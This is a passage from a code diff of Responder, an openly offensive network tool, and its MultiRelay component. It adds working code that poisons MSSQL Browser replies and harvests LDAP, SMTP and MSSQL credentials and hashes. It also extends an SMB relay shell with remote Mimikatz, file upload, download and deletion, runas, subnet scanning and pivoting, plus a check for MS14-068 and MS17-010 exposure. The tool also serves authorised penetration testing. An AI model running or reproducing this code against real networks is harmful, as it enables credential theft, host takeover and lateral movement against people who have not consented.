return Buffer
|
||||||
|
|
||||||
elif settings.Config.Verbose:
|
elif settings.Config.Verbose:
|
||||||
print text('[LDAP] Operation not supported')
|
print text('[LDAP] Operation not supported')
|
||||||
|
|
||||||
|
if data[5:6] == '\x60':
|
||||||
|
UserLen = struct.unpack("<b",data[11:12])[0]
|
||||||
|
UserString = data[12:12+UserLen]
|
||||||
|
PassLen = struct.unpack("<b",data[12+UserLen+1:12+UserLen+2])[0]
|
||||||
|
PassStr = data[12+UserLen+2:12+UserLen+3+PassLen]
|
||||||
|
if settings.Config.Verbose:
|
||||||
|
print text('[LDAP] Attempting to parse an old simple Bind request.')
|
||||||
|
SaveToDb({
|
||||||
|
'module': 'LDAP',
|
||||||
|
'type': 'Cleartext',
|
||||||
|
'client': client,
|
||||||
|
'user': UserString,
|
||||||
|
'cleartext': PassStr,
|
||||||
|
'fullhash': UserString+':'+PassStr,
|
||||||
|
})
|
||||||
|
|
||||||
class LDAP(BaseRequestHandler):
|
class LDAP(BaseRequestHandler):
|
||||||
def handle(self):
|
def handle(self):
|
||||||
try:
|
try:
|
||||||
while True:
|
self.request.settimeout(0.4)
|
||||||
self.request.settimeout(0.5)
|
data = self.request.recv(8092)
|
||||||
data = self.request.recv(8092)
|
Challenge = RandomChallenge()
|
||||||
Challenge = RandomChallenge()
|
for x in range(5):
|
||||||
Buffer = ParseLDAPPacket(data,self.client_address[0], Challenge)
|
Buffer = ParseLDAPPacket(data,self.client_address[0], Challenge)
|
||||||
|
|
||||||
if Buffer:
|
if Buffer:
|
||||||
self.request.send(Buffer)
|
self.request.send(Buffer)
|
||||||
except socket.timeout:
|
data = self.request.recv(8092)
|
||||||
pass
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
|||||||
@@ -17,6 +17,7 @@
|
|||||||
from SocketServer import BaseRequestHandler
|
from SocketServer import BaseRequestHandler
|
||||||
from packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer
|
from packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer
|
||||||
from utils import *
|
from utils import *
|
||||||
|
import random
|
||||||
import struct
|
import struct
|
||||||
|
|
||||||
class TDS_Login_Packet:
|
class TDS_Login_Packet:
|
||||||
@@ -119,33 +120,59 @@ def ParseClearTextSQLPass(data, client):
|
|||||||
# MSSQL Server class
|
# MSSQL Server class
|
||||||
class MSSQL(BaseRequestHandler):
|
class MSSQL(BaseRequestHandler):
|
||||||
def handle(self):
|
def handle(self):
|
||||||
if settings.Config.Verbose:
|
|
||||||
print text("[MSSQL] Received connection from %s" % self.client_address[0])
|
|
||||||
|
|
||||||
try:
|
try:
|
||||||
while True:
|
data = self.request.recv(1024)
|
||||||
data = self.request.recv(1024)
|
if settings.Config.Verbose:
|
||||||
self.request.settimeout(0.1)
|
print text("[MSSQL] Received connection from %s" % self.client_address[0])
|
||||||
Challenge = RandomChallenge()
|
|
||||||
|
|
||||||
if data[0] == "\x12": # Pre-Login Message
|
if data[0] == "\x12": # Pre-Login Message
|
||||||
Buffer = str(MSSQLPreLoginAnswer())
|
Buffer = str(MSSQLPreLoginAnswer())
|
||||||
|
self.request.send(Buffer)
|
||||||
|
data = self.request.recv(1024)
|
||||||
|
|
||||||
|
if data[0] == "\x10": # NegoSSP
|
||||||
|
if re.search("NTLMSSP",data):
|
||||||
|
Challenge = RandomChallenge()
|
||||||
|
Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=Challenge)
|
||||||
|
Packet.calculate()
|
||||||
|
Buffer = str(Packet)
|
||||||
self.request.send(Buffer)
|
self.request.send(Buffer)
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
|
else:
|
||||||
|
ParseClearTextSQLPass(data,self.client_address[0])
|
||||||
|
|
||||||
if data[0] == "\x10": # NegoSSP
|
if data[0] == "\x11": # NegoSSP Auth
|
||||||
if re.search("NTLMSSP",data):
|
ParseSQLHash(data,self.client_address[0],Challenge)
|
||||||
Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=Challenge)
|
|
||||||
Packet.calculate()
|
|
||||||
Buffer = str(Packet)
|
|
||||||
self.request.send(Buffer)
|
|
||||||
data = self.request.recv(1024)
|
|
||||||
else:
|
|
||||||
ParseClearTextSQLPass(data,self.client_address[0])
|
|
||||||
|
|
||||||
if data[0] == "\x11": # NegoSSP Auth
|
|
||||||
ParseSQLHash(data,self.client_address[0])
|
|
||||||
|
|
||||||
except:
|
except:
|
||||||
self.request.close()
|
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
# MSSQL Server Browser class
|
||||||
|
# See "[MC-SQLR]: SQL Server Resolution Protocol": https://msdn.microsoft.com/en-us/library/cc219703.aspx
|
||||||
|
class MSSQLBrowser(BaseRequestHandler):
|
||||||
|
def handle(self):
|
||||||
|
if settings.Config.Verbose:
|
||||||
|
print text("[MSSQL-BROWSER] Received request from %s" % self.client_address[0])
|
||||||
|
|
||||||
|
data, soc = self.request
|
||||||
|
|
||||||
|
if data:
|
||||||
|
if data[0] in "\x02\x03": # CLNT_BCAST_EX / CLNT_UCAST_EX
|
||||||
|
self.send_response(soc, "MSSQLSERVER")
|
||||||
|
elif data[0] == "\x04": # CLNT_UCAST_INST
|
||||||
|
self.send_response(soc, data[1:].rstrip("\x00"))
|
||||||
|
elif data[0] == "\x0F": # CLNT_UCAST_DAC
|
||||||
|
self.send_dac_response(soc)
|
||||||
|
|
||||||
|
def send_response(self, soc, inst):
|
||||||
|
print text("[MSSQL-BROWSER] Sending poisoned response to %s" % self.client_address[0])
|
||||||
|
|
||||||
|
server_name = ''.join(chr(random.randint(ord('A'), ord('Z'))) for _ in range(random.randint(12, 20)))
|
||||||
|
resp = "ServerName;%s;InstanceName;%s;IsClustered;No;Version;12.00.4100.00;tcp;1433;;" % (server_name, inst)
|
||||||
|
soc.sendto(struct.pack("<BH", 0x05, len(resp)) + resp, self.client_address)
|
||||||
|
|
||||||
|
def send_dac_response(self, soc):
|
||||||
|
print text("[MSSQL-BROWSER] Sending poisoned DAC response to %s" % self.client_address[0])
|
||||||
|
|
||||||
|
soc.sendto(struct.pack("<BHBH", 0x05, 0x06, 0x01, 1433), self.client_address)
|
||||||
|
|||||||
@@ -47,7 +47,7 @@ def GrabHost(data):
|
|||||||
return Host
|
return Host
|
||||||
return False
|
return False
|
||||||
|
|
||||||
def PacketSequence(data, client):
|
def PacketSequence(data, client, Challenge):
|
||||||
NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
|
NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
|
||||||
Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data)
|
Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data)
|
||||||
if NTLM_Auth:
|
if NTLM_Auth:
|
||||||
@@ -56,14 +56,14 @@ def PacketSequence(data, client):
|
|||||||
if settings.Config.Verbose:
|
if settings.Config.Verbose:
|
||||||
print text("[Proxy-Auth] Sending NTLM authentication request to %s" % client)
|
print text("[Proxy-Auth] Sending NTLM authentication request to %s" % client)
|
||||||
|
|
||||||
Buffer = NTLM_Challenge(ServerChallenge=settings.Config.Challenge)
|
Buffer = NTLM_Challenge(ServerChallenge=Challenge)
|
||||||
Buffer.calculate()
|
Buffer.calculate()
|
||||||
Buffer_Ans = WPAD_NTLM_Challenge_Ans()
|
Buffer_Ans = WPAD_NTLM_Challenge_Ans()
|
||||||
Buffer_Ans.calculate(str(Buffer))
|
Buffer_Ans.calculate(str(Buffer))
|
||||||
return str(Buffer_Ans)
|
return str(Buffer_Ans)
|
||||||
if Packet_NTLM == "\x03":
|
if Packet_NTLM == "\x03":
|
||||||
NTLM_Auth = b64decode(''.join(NTLM_Auth))
|
NTLM_Auth = b64decode(''.join(NTLM_Auth))
|
||||||
ParseHTTPHash(NTLM_Auth, client, "Proxy-Auth")
|
ParseHTTPHash(NTLM_Auth, Challenge, client, "Proxy-Auth")
|
||||||
GrabUserAgent(data)
|
GrabUserAgent(data)
|
||||||
GrabCookie(data)
|
GrabCookie(data)
|
||||||
GrabHost(data)
|
GrabHost(data)
|
||||||
@@ -101,9 +101,10 @@ class Proxy_Auth(SocketServer.BaseRequestHandler):
|
|||||||
|
|
||||||
def handle(self):
|
def handle(self):
|
||||||
try:
|
try:
|
||||||
|
Challenge = RandomChallenge()
|
||||||
for x in range(2):
|
for x in range(2):
|
||||||
data = self.request.recv(4096)
|
data = self.request.recv(4096)
|
||||||
self.request.send(PacketSequence(data, self.client_address[0]))
|
self.request.send(PacketSequence(data, self.client_address[0], Challenge))
|
||||||
|
|
||||||
except:
|
except:
|
||||||
pass
|
pass
|
||||||
|
|||||||
@@ -26,28 +26,16 @@ class ESMTP(BaseRequestHandler):
|
|||||||
self.request.send(str(SMTPGreeting()))
|
self.request.send(str(SMTPGreeting()))
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
|
|
||||||
if data[0:4] == "EHLO":
|
if data[0:4] == "EHLO" or data[0:4] == "ehlo":
|
||||||
self.request.send(str(SMTPAUTH()))
|
self.request.send(str(SMTPAUTH()))
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
|
|
||||||
if data[0:4] == "AUTH":
|
if data[0:4] == "AUTH":
|
||||||
self.request.send(str(SMTPAUTH1()))
|
AuthPlain = re.findall(r'(?<=AUTH PLAIN )[^\r]*', data)
|
||||||
data = self.request.recv(1024)
|
if AuthPlain:
|
||||||
|
User = filter(None, b64decode(AuthPlain[0]).split('\x00'))
|
||||||
if data:
|
Username = User[0]
|
||||||
try:
|
Password = User[1]
|
||||||
User = filter(None, b64decode(data).split('\x00'))
|
|
||||||
Username = User[0]
|
|
||||||
Password = User[1]
|
|
||||||
except:
|
|
||||||
Username = b64decode(data)
|
|
||||||
|
|
||||||
self.request.send(str(SMTPAUTH2()))
|
|
||||||
data = self.request.recv(1024)
|
|
||||||
|
|
||||||
if data:
|
|
||||||
try: Password = b64decode(data)
|
|
||||||
except: Password = data
|
|
||||||
|
|
||||||
SaveToDb({
|
SaveToDb({
|
||||||
'module': 'SMTP',
|
'module': 'SMTP',
|
||||||
@@ -56,7 +44,36 @@ class ESMTP(BaseRequestHandler):
|
|||||||
'user': Username,
|
'user': Username,
|
||||||
'cleartext': Password,
|
'cleartext': Password,
|
||||||
'fullhash': Username+":"+Password,
|
'fullhash': Username+":"+Password,
|
||||||
})
|
})
|
||||||
|
|
||||||
|
else:
|
||||||
|
self.request.send(str(SMTPAUTH1()))
|
||||||
|
data = self.request.recv(1024)
|
||||||
|
|
||||||
|
if data:
|
||||||
|
try:
|
||||||
|
User = filter(None, b64decode(data).split('\x00'))
|
||||||
|
Username = User[0]
|
||||||
|
Password = User[1]
|
||||||
|
except:
|
||||||
|
Username = b64decode(data)
|
||||||
|
|
||||||
|
self.request.send(str(SMTPAUTH2()))
|
||||||
|
data = self.request.recv(1024)
|
||||||
|
|
||||||
|
if data:
|
||||||
|
try: Password = b64decode(data)
|
||||||
|
except: Password = data
|
||||||
|
|
||||||
|
SaveToDb({
|
||||||
|
'module': 'SMTP',
|
||||||
|
'type': 'Cleartext',
|
||||||
|
'client': self.client_address[0],
|
||||||
|
'user': Username,
|
||||||
|
'cleartext': Password,
|
||||||
|
'fullhash': Username+":"+Password,
|
||||||
|
})
|
||||||
|
|
||||||
except Exception:
|
except Exception:
|
||||||
|
raise
|
||||||
pass
|
pass
|
||||||
|
|||||||
20
settings.py
20
settings.py
@@ -20,7 +20,7 @@ import subprocess
|
|||||||
|
|
||||||
from utils import *
|
from utils import *
|
||||||
|
|
||||||
__version__ = 'Responder 2.3.3.2'
|
__version__ = 'Responder 2.3.3.6'
|
||||||
|
|
||||||
class Settings:
|
class Settings:
|
||||||
|
|
||||||
@@ -229,9 +229,12 @@ class Settings:
|
|||||||
|
|
||||||
try:
|
try:
|
||||||
NetworkCard = subprocess.check_output(["ifconfig", "-a"])
|
NetworkCard = subprocess.check_output(["ifconfig", "-a"])
|
||||||
except subprocess.CalledProcessError as ex:
|
except:
|
||||||
NetworkCard = "Error fetching Network Interfaces:", ex
|
try:
|
||||||
pass
|
NetworkCard = subprocess.check_output(["ip", "address", "show"])
|
||||||
|
except subprocess.CalledProcessError as ex:
|
||||||
|
NetworkCard = "Error fetching Network Interfaces:", ex
|
||||||
|
pass
|
||||||
try:
|
try:
|
||||||
DNS = subprocess.check_output(["cat", "/etc/resolv.conf"])
|
DNS = subprocess.check_output(["cat", "/etc/resolv.conf"])
|
||||||
except subprocess.CalledProcessError as ex:
|
except subprocess.CalledProcessError as ex:
|
||||||
@@ -239,9 +242,12 @@ class Settings:
|
|||||||
pass
|
pass
|
||||||
try:
|
try:
|
||||||
RoutingInfo = subprocess.check_output(["netstat", "-rn"])
|
RoutingInfo = subprocess.check_output(["netstat", "-rn"])
|
||||||
except subprocess.CalledProcessError as ex:
|
except:
|
||||||
RoutingInfo = "Error fetching Routing information:", ex
|
try:
|
||||||
pass
|
RoutingInfo = subprocess.check_output(["ip", "route", "show"])
|
||||||
|
except subprocess.CalledProcessError as ex:
|
||||||
|
RoutingInfo = "Error fetching Routing information:", ex
|
||||||
|
pass
|
||||||
|
|
||||||
Message = "Current environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(NetworkCard,DNS,RoutingInfo)
|
Message = "Current environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(NetworkCard,DNS,RoutingInfo)
|
||||||
try:
|
try:
|
||||||
|
|||||||
@@ -74,7 +74,7 @@ config.read(os.path.join(BASEDIR,'Responder.conf'))
|
|||||||
RespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')])
|
RespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')])
|
||||||
DontRespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')])
|
DontRespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')])
|
||||||
Interface = options.Interface
|
Interface = options.Interface
|
||||||
Responder_IP = FindLocalIP(Interface)
|
Responder_IP = FindLocalIP(Interface, None)
|
||||||
ROUTERIP = options.RouterIP
|
ROUTERIP = options.RouterIP
|
||||||
NETMASK = options.Netmask
|
NETMASK = options.Netmask
|
||||||
DHCPSERVER = Responder_IP
|
DHCPSERVER = Responder_IP
|
||||||
|
|||||||
0
tools/DHCP_Auto.sh
Normal file → Executable file
0
tools/DHCP_Auto.sh
Normal file → Executable file
@@ -21,7 +21,7 @@ import struct
|
|||||||
import socket
|
import socket
|
||||||
|
|
||||||
sys.path.insert(0, os.path.realpath(os.path.join(os.path.dirname(__file__), '..')))
|
sys.path.insert(0, os.path.realpath(os.path.join(os.path.dirname(__file__), '..')))
|
||||||
from packets import SMB2Header, SMB2Nego, SMB2NegoData
|
from packets import SMBHeaderReq, SMB2NegoReq, SMB2NegoDataReq
|
||||||
|
|
||||||
def GetBootTime(data):
|
def GetBootTime(data):
|
||||||
Filetime = int(struct.unpack('<q',data)[0])
|
Filetime = int(struct.unpack('<q',data)[0])
|
||||||
@@ -33,8 +33,12 @@ def GetBootTime(data):
|
|||||||
def IsDCVuln(t):
|
def IsDCVuln(t):
|
||||||
Date = datetime.datetime(2014, 11, 17, 0, 30)
|
Date = datetime.datetime(2014, 11, 17, 0, 30)
|
||||||
if t[0] < Date:
|
if t[0] < Date:
|
||||||
print "DC is up since:", t[1]
|
print "System is up since:", t[1]
|
||||||
print "This DC is vulnerable to MS14-068"
|
print "This system may be vulnerable to MS14-068"
|
||||||
|
Date = datetime.datetime(2017, 03, 14, 0, 30)
|
||||||
|
if t[0] < Date:
|
||||||
|
print "System is up since:", t[1]
|
||||||
|
print "This system may be vulnerable to MS17-010"
|
||||||
print "DC is up since:", t[1]
|
print "DC is up since:", t[1]
|
||||||
|
|
||||||
|
|
||||||
@@ -43,8 +47,8 @@ def run(host):
|
|||||||
s.connect(host)
|
s.connect(host)
|
||||||
s.settimeout(5)
|
s.settimeout(5)
|
||||||
|
|
||||||
Header = SMB2Header(Cmd="\x72",Flag1="\x18",Flag2="\x53\xc8")
|
Header = SMBHeaderReq(Cmd="\x72",Flag1="\x18",Flag2="\x53\xc8")
|
||||||
Nego = SMB2Nego(Data = SMB2NegoData())
|
Nego = SMB2NegoReq(Data = SMB2NegoDataReq())
|
||||||
Nego.calculate()
|
Nego.calculate()
|
||||||
|
|
||||||
Packet = str(Header)+str(Nego)
|
Packet = str(Header)+str(Nego)
|
||||||
@@ -63,6 +67,6 @@ def run(host):
|
|||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
if len(sys.argv)<=1:
|
if len(sys.argv)<=1:
|
||||||
sys.exit('Usage: python '+sys.argv[0]+' DC-IP-address')
|
sys.exit('Usage: python '+sys.argv[0]+' System-IP-address')
|
||||||
host = sys.argv[1],445
|
host = sys.argv[1],445
|
||||||
run(host)
|
run(host)
|
||||||
|
|||||||
@@ -20,6 +20,8 @@ import os
|
|||||||
import logging
|
import logging
|
||||||
import optparse
|
import optparse
|
||||||
import time
|
import time
|
||||||
|
import random
|
||||||
|
import subprocess
|
||||||
from threading import Thread
|
from threading import Thread
|
||||||
from SocketServer import TCPServer, UDPServer, ThreadingMixIn, BaseRequestHandler
|
from SocketServer import TCPServer, UDPServer, ThreadingMixIn, BaseRequestHandler
|
||||||
try:
|
try:
|
||||||
@@ -28,26 +30,39 @@ except ImportError:
|
|||||||
print "\033[1;31m\nCrypto lib is not installed. You won't be able to live dump the hashes."
|
print "\033[1;31m\nCrypto lib is not installed. You won't be able to live dump the hashes."
|
||||||
print "You can install it on debian based os with this command: apt-get install python-crypto"
|
print "You can install it on debian based os with this command: apt-get install python-crypto"
|
||||||
print "The Sam file will be saved anyway and you will have the bootkey.\033[0m\n"
|
print "The Sam file will be saved anyway and you will have the bootkey.\033[0m\n"
|
||||||
|
try:
|
||||||
|
import readline
|
||||||
|
except:
|
||||||
|
print "Warning: readline module is not available, you will not be able to use the arrow keys for command history"
|
||||||
|
pass
|
||||||
from MultiRelay.RelayMultiPackets import *
|
from MultiRelay.RelayMultiPackets import *
|
||||||
from MultiRelay.RelayMultiCore import *
|
from MultiRelay.RelayMultiCore import *
|
||||||
|
|
||||||
from SMBFinger.Finger import RunFinger
|
from SMBFinger.Finger import RunFinger,ShowSigning,RunPivotScan
|
||||||
sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), '../')))
|
sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), '../')))
|
||||||
from socket import *
|
from socket import *
|
||||||
|
|
||||||
__version__ = "1.2"
|
__version__ = "2.0"
|
||||||
|
|
||||||
|
|
||||||
|
MimikatzFilename = "./MultiRelay/bin/mimikatz.exe"
|
||||||
|
Mimikatzx86Filename = "./MultiRelay/bin/mimikatz_x86.exe"
|
||||||
|
RunAsFileName = "./MultiRelay/bin/Runas.exe"
|
||||||
|
SysSVCFileName = "./MultiRelay/bin/Syssvc.exe"
|
||||||
|
|
||||||
|
|
||||||
def UserCallBack(op, value, dmy, parser):
|
def UserCallBack(op, value, dmy, parser):
|
||||||
args=[]
|
args=[]
|
||||||
for arg in parser.rargs:
|
for arg in parser.rargs:
|
||||||
if arg[0] != "-":
|
if arg[0] != "-":
|
||||||
args.append(arg)
|
args.append(arg)
|
||||||
|
if arg[0] == "-":
|
||||||
|
break
|
||||||
if getattr(parser.values, op.dest):
|
if getattr(parser.values, op.dest):
|
||||||
args.extend(getattr(parser.values, op.dest))
|
args.extend(getattr(parser.values, op.dest))
|
||||||
setattr(parser.values, op.dest, args)
|
setattr(parser.values, op.dest, args)
|
||||||
|
|
||||||
parser = optparse.OptionParser(usage="python %prog -t10.20.30.40 -u Administrator lgandx admin", version=__version__, prog=sys.argv[0])
|
parser = optparse.OptionParser(usage="\npython %prog -t 10.20.30.40 -u Administrator lgandx admin\npython %prog -t 10.20.30.40 -u ALL", version=__version__, prog=sys.argv[0])
|
||||||
parser.add_option('-t',action="store", help="Target server for SMB relay.",metavar="10.20.30.45",dest="TARGET")
|
parser.add_option('-t',action="store", help="Target server for SMB relay.",metavar="10.20.30.45",dest="TARGET")
|
||||||
parser.add_option('-p',action="store", help="Additional port to listen on, this will relay for proxy, http and webdav incoming packets.",metavar="8081",dest="ExtraPort")
|
parser.add_option('-p',action="store", help="Additional port to listen on, this will relay for proxy, http and webdav incoming packets.",metavar="8081",dest="ExtraPort")
|
||||||
parser.add_option('-u', '--UserToRelay', help="Users to relay. Use '-u ALL' to relay all users.", action="callback", callback=UserCallBack, dest="UserToRelay")
|
parser.add_option('-u', '--UserToRelay', help="Users to relay. Use '-u ALL' to relay all users.", action="callback", callback=UserCallBack, dest="UserToRelay")
|
||||||
@@ -67,31 +82,37 @@ if options.UserToRelay is None:
|
|||||||
if options.ExtraPort is None:
|
if options.ExtraPort is None:
|
||||||
options.ExtraPort = 0
|
options.ExtraPort = 0
|
||||||
|
|
||||||
OneCommand = options.OneCommand
|
if not os.geteuid() == 0:
|
||||||
Dump = options.Dump
|
print color("[!] MultiRelay must be run as root.")
|
||||||
ExtraPort = options.ExtraPort
|
sys.exit(-1)
|
||||||
UserToRelay = options.UserToRelay
|
|
||||||
Host = options.TARGET, 445
|
OneCommand = options.OneCommand
|
||||||
Cmd = []
|
Dump = options.Dump
|
||||||
ShellOpen = []
|
ExtraPort = options.ExtraPort
|
||||||
|
UserToRelay = options.UserToRelay
|
||||||
|
|
||||||
|
Host = [options.TARGET]
|
||||||
|
Cmd = []
|
||||||
|
ShellOpen = []
|
||||||
|
Pivoting = [2]
|
||||||
|
|
||||||
|
|
||||||
def color(txt, code = 1, modifier = 0):
|
def color(txt, code = 1, modifier = 0):
|
||||||
return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
|
return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
|
||||||
|
|
||||||
def ShowWelcome():
|
def ShowWelcome():
|
||||||
print color('\nResponder MultiRelay to SMB NTLMv1/2',8,1)
|
print color('\nResponder MultiRelay %s NTLMv1/2 Relay' %(__version__),8,1)
|
||||||
print color('Version: '+__version__,8,1)
|
|
||||||
print '\nSend bugs/hugs/comments to: laurent.gaffie@gmail.com'
|
print '\nSend bugs/hugs/comments to: laurent.gaffie@gmail.com'
|
||||||
print 'Usernames to relay (-u) are case sensitive.'
|
print 'Usernames to relay (-u) are case sensitive.'
|
||||||
print 'To kill this script hit CRTL-C.\n'
|
print 'To kill this script hit CRTL-C.\n'
|
||||||
|
print color('/*',8,1)
|
||||||
print 'Use this script in combination with Responder.py for best results.'
|
print 'Use this script in combination with Responder.py for best results.'
|
||||||
|
print 'Make sure to set SMB and HTTP to OFF in Responder.conf.\n'
|
||||||
print 'This tool listen on TCP port 80, 3128 and 445.'
|
print 'This tool listen on TCP port 80, 3128 and 445.'
|
||||||
print 'Make sure nothing use these ports.\n'
|
print 'For optimal pwnage, launch Responder only with these 2 options:'
|
||||||
print 'For optimal pwnage, launch Responder with only these 2 options:'
|
print '-rv\nAvoid running a command that will likely prompt for information like net use, etc.'
|
||||||
print '-rv\nRunning psexec style commands can be noisy in the event viewer,'
|
print 'If you do so, use taskkill (as system) to kill the process.'
|
||||||
print 'if anyone ever reads it.. If you want to leave no trace in the'
|
print color('*/',8,1)
|
||||||
print 'event viewer, use Responder\'s built-in commands. They silently'
|
|
||||||
print 'perform the tasks requested, including the hashdump command.'
|
|
||||||
print color('\nRelaying credentials for these users:',8,1)
|
print color('\nRelaying credentials for these users:',8,1)
|
||||||
print color(UserToRelay,4,1)
|
print color(UserToRelay,4,1)
|
||||||
print '\n'
|
print '\n'
|
||||||
@@ -105,6 +126,14 @@ def ShowHelp():
|
|||||||
print color('regdump KEY',8,1)+' -> Dump an HKLM registry key (eg: regdump SYSTEM)'
|
print color('regdump KEY',8,1)+' -> Dump an HKLM registry key (eg: regdump SYSTEM)'
|
||||||
print color('read Path_To_File',8,1)+' -> Read a file (eg: read /windows/win.ini)'
|
print color('read Path_To_File',8,1)+' -> Read a file (eg: read /windows/win.ini)'
|
||||||
print color('get Path_To_File',8,1)+' -> Download a file (eg: get users/administrator/desktop/password.txt)'
|
print color('get Path_To_File',8,1)+' -> Download a file (eg: get users/administrator/desktop/password.txt)'
|
||||||
|
print color('delete Path_To_File',8,1)+'-> Delete a file (eg: delete /windows/temp/executable.exe)'
|
||||||
|
print color('upload Path_To_File',8,1)+'-> Upload a local file (eg: upload /home/user/bk.exe), files will be uploaded in \\windows\\temp\\'
|
||||||
|
print color('runas Command',8,1)+' -> Run a command as the currently logged in user. (eg: runas whoami)'
|
||||||
|
print color('scan /24',8,1)+' -> Scan (Using SMB) this /24 or /16 to find hosts to pivot to'
|
||||||
|
print color('pivot IP address',8,1)+' -> Connect to another host (eg: pivot 10.0.0.12)'
|
||||||
|
print color('mimi command',8,1)+' -> Run a remote Mimikatz 64 bits command (eg: mimi coffee)'
|
||||||
|
print color('mimi32 command',8,1)+' -> Run a remote Mimikatz 32 bits command (eg: mimi coffee)'
|
||||||
|
print color('lcmd command',8,1)+' -> Run a local command and display the result in MultiRelay shell (eg: lcmd ifconfig)'
|
||||||
print color('help',8,1)+' -> Print this message.'
|
print color('help',8,1)+' -> Print this message.'
|
||||||
print color('exit',8,1)+' -> Exit this shell and return in relay mode.'
|
print color('exit',8,1)+' -> Exit this shell and return in relay mode.'
|
||||||
print ' If you want to quit type exit and then use CRTL-C\n'
|
print ' If you want to quit type exit and then use CRTL-C\n'
|
||||||
@@ -112,7 +141,14 @@ def ShowHelp():
|
|||||||
|
|
||||||
Logs_Path = os.path.abspath(os.path.join(os.path.dirname(__file__)))+"/../"
|
Logs_Path = os.path.abspath(os.path.join(os.path.dirname(__file__)))+"/../"
|
||||||
Logs = logging
|
Logs = logging
|
||||||
Logs.basicConfig(filemode="a",filename=Logs_Path+'logs/SMBRelay-Session.txt',level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p')
|
Logs.basicConfig(filemode="w",filename=Logs_Path+'logs/SMBRelay-Session.txt',level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p')
|
||||||
|
|
||||||
|
def UploadContent(File):
|
||||||
|
with file(File) as f:
|
||||||
|
s = f.read()
|
||||||
|
FileLen = len(s)
|
||||||
|
FileContent = s
|
||||||
|
return FileLen, FileContent
|
||||||
|
|
||||||
try:
|
try:
|
||||||
RunFinger(Host[0])
|
RunFinger(Host[0])
|
||||||
@@ -137,21 +173,26 @@ def IsShellOpen():
|
|||||||
else:
|
else:
|
||||||
return True
|
return True
|
||||||
|
|
||||||
|
#Function used to make sure no connections are accepted on HTTP and HTTP_Proxy while we are pivoting.
|
||||||
|
def IsPivotOn():
|
||||||
|
#While there's nothing in our array return false.
|
||||||
|
if Pivoting[0] == "2":
|
||||||
|
return False
|
||||||
|
#If there is return True.
|
||||||
|
if Pivoting[0] == "1":
|
||||||
|
return True
|
||||||
|
|
||||||
def ConnectToTarget():
|
def ConnectToTarget():
|
||||||
try:
|
try:
|
||||||
s = socket(AF_INET, SOCK_STREAM)
|
s = socket(AF_INET, SOCK_STREAM)
|
||||||
#Override TCP keep-alives
|
s.connect((Host[0],445))
|
||||||
s.setsockopt(SOL_SOCKET, SO_KEEPALIVE, 1)
|
|
||||||
s.setsockopt(IPPROTO_TCP, TCP_KEEPCNT, 15)
|
|
||||||
s.setsockopt(IPPROTO_TCP, TCP_KEEPINTVL, 5)
|
|
||||||
# macOS does not have TCP_KEEPIDLE
|
|
||||||
if sys.platform != 'darwin':
|
|
||||||
s.setsockopt(IPPROTO_TCP, TCP_KEEPIDLE, 5)
|
|
||||||
s.connect(Host)
|
|
||||||
return s
|
return s
|
||||||
except:
|
except:
|
||||||
"Cannot connect to target, host down?"
|
try:
|
||||||
sys.exit(1)
|
sys.exit(1)
|
||||||
|
print "Cannot connect to target, host down?"
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
class HTTPProxyRelay(BaseRequestHandler):
|
class HTTPProxyRelay(BaseRequestHandler):
|
||||||
|
|
||||||
@@ -161,6 +202,8 @@ class HTTPProxyRelay(BaseRequestHandler):
|
|||||||
#Don't handle requests while a shell is open. That's the goal after all.
|
#Don't handle requests while a shell is open. That's the goal after all.
|
||||||
if IsShellOpen():
|
if IsShellOpen():
|
||||||
return None
|
return None
|
||||||
|
if IsPivotOn():
|
||||||
|
return None
|
||||||
except:
|
except:
|
||||||
raise
|
raise
|
||||||
|
|
||||||
@@ -202,7 +245,7 @@ class HTTPProxyRelay(BaseRequestHandler):
|
|||||||
## Send HTTP Proxy
|
## Send HTTP Proxy
|
||||||
Buffer_Ans = WPAD_NTLM_Challenge_Ans()
|
Buffer_Ans = WPAD_NTLM_Challenge_Ans()
|
||||||
Buffer_Ans.calculate(str(ExtractRawNTLMPacket(smbdata)))#Retrieve challenge message from smb
|
Buffer_Ans.calculate(str(ExtractRawNTLMPacket(smbdata)))#Retrieve challenge message from smb
|
||||||
key = ExtractHTTPChallenge(smbdata)#Grab challenge key for later use (hash parsing).
|
key = ExtractHTTPChallenge(smbdata,Pivoting)#Grab challenge key for later use (hash parsing).
|
||||||
self.request.send(str(Buffer_Ans)) #We send NTLM message 2 to the client.
|
self.request.send(str(Buffer_Ans)) #We send NTLM message 2 to the client.
|
||||||
data = self.request.recv(8092)
|
data = self.request.recv(8092)
|
||||||
NTLM_Proxy_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
|
